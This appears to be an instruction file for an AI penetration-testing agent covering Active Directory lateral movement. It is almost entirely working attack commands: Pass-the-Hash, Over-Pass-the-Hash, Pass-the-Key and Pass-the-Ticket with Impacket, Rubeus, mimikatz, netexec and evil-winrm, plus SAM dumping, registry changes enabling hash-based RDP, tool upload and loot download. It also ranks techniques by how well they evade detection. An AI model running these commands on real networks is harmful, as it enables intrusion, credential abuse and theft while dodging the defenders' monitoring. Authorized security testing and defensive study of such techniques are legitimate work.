pass-the-hash

name	pass-the-hash
description	Authenticates to AD services using NTLM hashes, AES keys, or Kerberos tickets without cracking passwords. Covers Pass-the-Hash, Over-Pass-the-Hash, Pass-the-Key, and Pass-the-Ticket for lateral movement.
keywords	["pass the hash","PTH","over-pass-the-hash","pass the key","pass the ticket","NTLM hash lateral","use hash to authenticate","lateral movement","ptt","opth","ccache"]
tools	["Impacket","Rubeus","mimikatz","netexec","evil-winrm"]
opsec	medium

Pass the Hash / Over-Pass-the-Hash / Pass the Key / Pass the Ticket

You are helping a penetration tester use credential material (NTLM hashes, AES keys, or Kerberos tickets) for lateral movement without knowing cleartext passwords. All testing is under explicit written authorization.

Kerberos-first authentication: This skill defaults to converting credential material into Kerberos tickets (Over-Pass-the-Hash / Pass-the-Key) rather than using NTLM directly. Direct Pass-the-Hash is the last resort due to heavy detection (Event 4776, CrowdStrike Identity Module PTH signatures).

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [pass-the-hash] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Credential material: NTLM hash, AES128/AES256 key, or Kerberos ticket (.ccache/.kirbi)
• Network access to target host(s)
• Tools: Impacket suite, netexec (nxc), optionally Rubeus, mimikatz, evil-winrm

Kerberos-first workflow (default for all techniques):

# Convert hash/key to TGT first, then use Kerberos for everything
getTGT.py DOMAIN/[e-mail] -hashes :NTHASH
# or with AES key (most OPSEC-safe)
getTGT.py DOMAIN/[e-mail] -aesKey AES256_KEY

export KRB5CCNAME=user.ccache

# All lateral movement uses -k -no-pass from here
psexec.py DOMAIN/[e-mail] -k -no-pass

Step 1: Assess Credential Material

Determine what you have and choose the appropriate technique:

Material	Technique	OPSEC	Go To
AES256 key	Pass-the-Key	LOW — matches normal Kerberos	Step 2
AES128 key	Pass-the-Key	LOW — matches normal Kerberos	Step 2
NTLM hash	Over-Pass-the-Hash	MEDIUM — RC4 etype is anomalous	Step 3
.ccache / .kirbi ticket	Pass-the-Ticket	LOW — reusing real ticket	Step 4
NTLM hash + no Kerberos	Direct Pass-the-Hash	HIGH — NTLM auth, heavily monitored	Step 5

Always prefer AES keys > tickets > OPTH > direct PTH.

Step 2: Pass-the-Key (AES — Most OPSEC-Safe)

Use AES keys to request a TGT. This generates Event 4768 with encryption type 0x12 (AES256) or 0x11 (AES128) — indistinguishable from normal Windows authentication.

Impacket (Linux)

# AES256 key -> TGT
getTGT.py DOMAIN/[e-mail] \
  -aesKey 2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574

export KRB5CCNAME=user.ccache

# Now use Kerberos auth for lateral movement
psexec.py DOMAIN/[e-mail] -k -no-pass
smbexec.py DOMAIN/[e-mail] -k -no-pass
wmiexec.py DOMAIN/[e-mail] -k -no-pass

Rubeus (Windows)

# AES256 with /opsec flag — mimics legitimate Windows behavior
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /aes256:2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 \
  /opsec /ptt /nowrap

# AES128
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /aes128:bc09f84dcb4eabccb981a9f265035a72 /ptt /nowrap

# Verify ticket is loaded
klist

Step 3: Over-Pass-the-Hash (NTLM -> Kerberos TGT)

Convert an NTLM hash into a Kerberos TGT. The TGT request uses RC4 encryption (etype 23), which is anomalous in AES-hardened domains but still better than direct NTLM authentication.

Impacket (Linux) — Preferred

# NTLM hash -> TGT
getTGT.py DOMAIN/[e-mail] -hashes :NTHASH

# Full LM:NT format also works
getTGT.py DOMAIN/[e-mail] \
  -hashes aad3b435b51404eeaad3b435b51404ee:NTHASH

export KRB5CCNAME=user.ccache

# Verify ticket
klist -c user.ccache

# Lateral movement via Kerberos
psexec.py DOMAIN/[e-mail] -k -no-pass
smbexec.py DOMAIN/[e-mail] -k -no-pass
wmiexec.py DOMAIN/[e-mail] -k -no-pass

Alternative: ktutil + kinit (Native Kerberos)

ktutil -k ~/mykeys add -p [e-mail] -e arcfour-hmac-md5 \
  -w NTHASH --hex -V 5
kinit -t ~/mykeys [e-mail]
klist

Rubeus (Windows)

# NTLM hash -> TGT injected into current session
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /rc4:NTHASH /ptt /nowrap

# Create sacrificial process with the ticket (avoids overwriting current TGT)
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /rc4:NTHASH /createnetonly:C:\Windows\System32\cmd.exe /show

# Then lateral movement
.\PsExec.exe -accepteula \\TARGET.DOMAIN.LOCAL cmd

Mimikatz (Windows)

# Spawns a new process with the hash injected
sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:NTHASH

OPSEC Note

Over-Pass-the-Hash generates Event 4768 with encryption type 0x17 (RC4). In domains where AES is enforced, RC4 TGT requests are a high-fidelity detection indicator. If AES keys are available, use Pass-the-Key (Step 2) instead.

Step 4: Pass-the-Ticket (Inject Existing Ticket)

Use when you have a stolen or forged Kerberos ticket (.ccache or .kirbi).

Ticket Format Conversion

# ccache -> kirbi (for use on Windows)
python ticket_converter.py user.ccache user.kirbi

# kirbi -> ccache (for use on Linux)
python ticket_converter.py user.kirbi user.ccache

# Impacket ticketConverter
ticketConverter.py user.kirbi user.ccache
ticketConverter.py user.ccache user.kirbi

Linux — ccache

# Set the ccache file
export KRB5CCNAME=/path/to/ticket.ccache

# Verify
klist

# Use with any Kerberos-aware tool
psexec.py DOMAIN/[e-mail] -k -no-pass
smbexec.py DOMAIN/[e-mail] -k -no-pass
wmiexec.py DOMAIN/[e-mail] -k -no-pass

# NetExec
nxc smb TARGET.DOMAIN.LOCAL --use-kcache -x "whoami"

Windows — kirbi

# Rubeus — inject ticket
.\Rubeus.exe ptt /ticket:user.kirbi

# Mimikatz — inject ticket
kerberos::ptt user.kirbi

# Verify
klist

# Lateral movement
.\PsExec.exe -accepteula \\TARGET.DOMAIN.LOCAL cmd
dir \\TARGET.DOMAIN.LOCAL\C$

OPSEC Note

Pass-the-Ticket is pure Kerberos and avoids NTLM detection entirely. It's hard to detect because you're reusing a legitimate ticket. The main risk is that the ticket may be logged as coming from an unexpected source IP.

Step 5: Direct Pass-the-Hash (NTLM — Last Resort)

Use only when Kerberos is unavailable (e.g., no access to port 88, target not joined to domain, or NTLM-only service). This triggers Event 4776 and CrowdStrike Identity Module PTH signatures.

NetExec

# SMB with NTLM hash
nxc smb TARGET -u Administrator -H 'aad3b435b51404ee:NTHASH' -d DOMAIN.LOCAL -x "whoami"

# Check for local admin (Pwn3d!)
nxc smb 10.10.10.0/24 -u Administrator -H ':NTHASH' -d DOMAIN.LOCAL

# Local authentication (non-domain)
nxc smb TARGET -u Administrator -H ':NTHASH' --local-auth

Impacket (Direct Hash Auth)

# psexec — creates a service (noisy)
psexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

# smbexec — creates a service (slightly less noisy)
smbexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

# wmiexec — WMI-based (less artifacts)
wmiexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

# atexec — Task Scheduler
atexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH 'whoami'

# dcomexec — DCOM objects
dcomexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

Mimikatz (Spawn Process)

# Spawns cmd.exe with NTLM hash injected into logon session
sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:NTHASH

PTH for RDP (Restricted Admin Mode)

# Mimikatz — RDP with hash (target must have RestrictedAdmin enabled)
sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:NTHASH /run:"mstsc.exe /restrictedadmin"

# Enable Restricted Admin remotely (requires admin access)
nxc smb TARGET -u Administrator -H ':NTHASH' -x 'reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f'

# Then connect with xfreerdp
xfreerdp /u:Administrator /pth:NTHASH /v:TARGET /d:DOMAIN.LOCAL

OPSEC Warning

Direct PTH is the most detectable technique:

• Event 4776 (NTLM credential validation)
• Event 4624 type 3 (network logon)
• CrowdStrike Identity Module flags PTH patterns
• psexec creates a service (Event 7045) — very noisy
• Prefer wmiexec over psexec if you must use NTLM

Step 6: Lateral Movement

After establishing authentication (via any method above), use these tools for command execution and access.

Impacket Suite (All support -k -no-pass and -hashes)

Tool	Protocol	Noise Level	Notes
psexec.py	SMB (service)	High	Creates/starts a service
smbexec.py	SMB (service)	High	Similar to psexec
wmiexec.py	WMI/DCOM	Medium	No service creation
atexec.py	Task Scheduler	Medium	Creates scheduled task
dcomexec.py	DCOM	Medium	Various DCOM objects

# Preferred: wmiexec with Kerberos (lowest noise)
wmiexec.py DOMAIN/[e-mail] -k -no-pass

# Semi-interactive shell
smbexec.py DOMAIN/[e-mail] -k -no-pass

# Execute single command
atexec.py DOMAIN/[e-mail] -k -no-pass 'whoami /all'

NetExec (Multi-Purpose)

# Command execution
nxc smb TARGET.DOMAIN.LOCAL --use-kcache -x "whoami"

# Module execution
nxc smb TARGET.DOMAIN.LOCAL --use-kcache -M mimikatz

# SAM dump (if local admin)
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --sam

# Share enumeration
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --shares

Evil-WinRM (WinRM Shell — Port 5985/5986)

# With password
evil-winrm -i TARGET.DOMAIN.LOCAL -u Administrator -p 'Password123'

# With hash
evil-winrm -i TARGET.DOMAIN.LOCAL -u Administrator -H NTHASH

Via start_process (preferred for persistent sessions):

# Spawn evil-winrm in a persistent PTY
start_process(command="evil-winrm -i TARGET -u Administrator -H NTHASH", label="ewrm-target")

# Interact via send_command
send_command(session_id=..., command="whoami")

File transfer via evil-winrm (preferred on Windows): Evil-WinRM's built-in upload and download commands are more reliable than SMB file transfer for moving tools, scripts, and loot to/from Windows targets:

# Upload tools to target
send_command(session_id=..., command="upload /opt/tools/SharpHound.exe C:\\Windows\\Temp\\SharpHound.exe")

# Download loot
send_command(session_id=..., command="download C:\\Users\\Administrator\\Desktop\\root.txt ./root.txt")

Impacket via start_process

For interactive Impacket shells (psexec.py, wmiexec.py, smbexec.py), use start_process to maintain session persistence:

# Interactive psexec shell (port 445)
start_process(command="psexec.py DOMAIN/user@TARGET -k -no-pass", label="psexec-target")

# Interactive wmiexec shell (port 135 — less noisy)
start_process(command="wmiexec.py DOMAIN/user@TARGET -k -no-pass", label="wmiexec-target")

# With hash directly
start_process(command="wmiexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH", label="wmiexec-target")

Verify Access

# Check what you can access
nxc smb 10.10.10.0/24 --use-kcache
# (Pwn3d!) = local admin

# List shares
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --shares

# Check who you are
wmiexec.py DOMAIN/[e-mail] -k -no-pass 'whoami /all'

Step 7: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

Troubleshooting

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

KDC Cannot Find the Name / PyAsn1Error

• Use FQDN hostnames, not IP addresses. Kerberos requires proper DNS.
• Add entries to /etc/hosts if DNS doesn't resolve:

  10.10.10.10  DC01.DOMAIN.LOCAL DOMAIN.LOCAL
  

• Update Impacket if you see PyAsn1Error — older versions have encoding bugs.

PTH Fails with STATUS_LOGON_FAILURE

• Verify the hash is correct (try against the source machine first)
• Since Windows Vista, PTH to local admin accounts is blocked unless the account is the builtin RID 500 Administrator (UAC remote restriction)
• Try --local-auth with NetExec for local accounts
• Non-RID-500 local admins need the LocalAccountTokenFilterPolicy registry key set to 1

Ticket Expired

• Kerberos TGTs have a default lifetime of 10 hours
• Re-request with getTGT.py if expired
• Check with klist -c ticket.ccache to see expiration

Evil-WinRM Connection Refused

• Port 5985 (HTTP) or 5986 (HTTPS) must be open
• WinRM may not be enabled on all hosts
• Try nxc winrm TARGET to check availability first

OPSEC Comparison Summary

Technique	Auth Protocol	Detection Event	EDR Risk
Pass-the-Key (AES256)	Kerberos	4768 (etype 0x12)	LOW
Pass-the-Ticket	Kerberos	— (reuse existing)	LOW
Over-Pass-the-Hash (RC4)	Kerberos	4768 (etype 0x17)	MEDIUM
Direct PTH	NTLM	4776, 4624 type 3	HIGH
psexec lateral	SMB	7045 (service created)	VERY HIGH
wmiexec lateral	WMI/DCOM	4688 (process created)	MEDIUM